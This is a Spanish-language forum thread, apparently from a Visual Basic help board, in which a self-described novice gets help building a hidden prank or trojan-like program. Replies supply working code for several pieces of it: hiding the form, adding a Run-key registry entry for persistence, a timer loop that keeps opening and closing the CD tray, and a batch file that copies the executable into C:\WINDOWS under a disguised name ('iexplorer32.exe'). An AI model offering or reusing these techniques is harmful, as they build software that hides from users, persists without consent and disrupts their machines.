Como puedo crear una aplicacion que se ejecute sin la pantalla del form

[xhc]

ahora me he dado cuenta de que si pongo  me.visible = false, o me.hide  en el form, cuando genero la aplicacion y la ejecuto me sale el form 

entonces para compilar por ejemplo el msn fucker de hendrix, copio el codigo en un modulo entre

Código [Seleccionar] Expandir


   Sub main()
   code
   End Sub
y en el formulario pongo solo me.hide o me.visible = false?


perdonar pero esque soy muy novato y aun no entiendo bien visual basic

[HaDeS, -]

Código (vb) [Seleccionar] Expandir


    Sub main()
        Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v prueba /d prueba.txt"
    End Sub


Perdón por meterme en el tema, pero creo que es así , para que te funcione ese código que esta dentro del sub main al inciar la aplicación te vas a : proyecto -> propiedades de proyecto -> objeto inicial -> acá escoges "Sub Main".
Y agrega al submain esto:

Código (vb) [Seleccionar] Expandir


Form1.Visible = False


Bueno, saludos

[xhc]

tengo visual basic 6.0 y visual studio 2005, utilizo el 2005 porque esta en español, tiene algo que ver en los codes?? lo digo porque en visual basic 6.0 si que puedo ocultar el form,añadir cosas al registro(puse objeto inicial sub main, pero en vb 6.0) pero en vb 2005 me sale 

[Yekka]

 Cita de Gleper

a mi no me va huh 

Cita de xhc

a mi tampoco me funciona

En la propiedad 'Name' del primer CommandButton --> CmdAbrirCD 
Y en la propiedad 'Name' del segundo CommandButton --> CmdCerrarCd

Y la funcion tal cual,en el módulo. Yo lo probe en vb 6.0 con WinXP sp2 y me funciono.

¡Bye!

[xhc]

gracias ya me va ( en visual basic 2005 no pero en vb 6.0 si )

pero tiene que ser obligatorio que tenga botones?? esque querria poner un bucle que no parase de abrirse y cerrarse

[cassiani]

  ¡Hey! Puedes hacer esto, modifica el code del form que te di, por este otro:

Código (vb) [Seleccionar] Expandir

Option Explicit

Dim Res As Long, ReturnString As String * 127
Dim Abrir As Boolean

Private Sub Form_Load()
   Timer1.Enabled = True
   Timer1.Interval = 1000 'Aqui podes poner cualquier valor a partir de 1 _
                          Mientras mas bajo es el valor, mas rapido sera el ciclo.
                          '1000 equivale a 1 segundo.
End Sub

Private Sub Timer1_Timer()
    If Abrir = False Then
        'Cierra CD-ROOM
        Res = mciSendString("Set CDAudio Door Closed", ReturnString, 127, 0)
        Abrir = True
    ElseIf Abrir = True Then
        'Abre cd-room
        Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
        Abrir = False
    End If
End Sub


   Debes tener cuidado con lo que haces, puedes hacerle daño a alguien... je,je, 

[xhc]

jajaj si que me funciona, gracias, entonces siempre que en algun code ponga algo de timer le tengo que agregar un relojito

[xhc]

para que se autocopie en otra carpeta puse esto:
Shell "cmd.exe /c copy /y %0 "C:\WINDOWS\iexplorer32.exe"

per no me deja, que estoy haciendo mal?

[cassiani]

 Copy (origen) (destino)

Puedes hacerlo usando un bat, observa esto:

Código (vb) [Seleccionar] Expandir

Option Explicit

Private Sub CrearBat()
Dim Canal As Integer
    Canal = FreeFile 'Buscamos un canal libre
    Open "Copiar.bat" For Output As #Canal 'creamos un bat
        Print #Canal, "@echo off"
        Print #Canal, "CD " & App.Path 'cambio de directorio
        Print #Canal, "Copy " & App.EXEName & ".exe C:\WINDOWS\" _
        & App.EXEName & ".exe /y"
        Print #Canal, "del Copiar.bat" 'Aqui borramos el .bat
    Close #Canal
End Sub

Private Sub Form_Load()
    CrearBat
    Shell "Copiar.bat"
    End
End Sub

Pruebalo y dime si es lo que quieres.

[xhc]

si que se me copia pero no funciona, es decir: cuando genero el .exe y lo ejecuto no se empieza a abrir el lector pero sin embargo se copia a C:\WINDOWS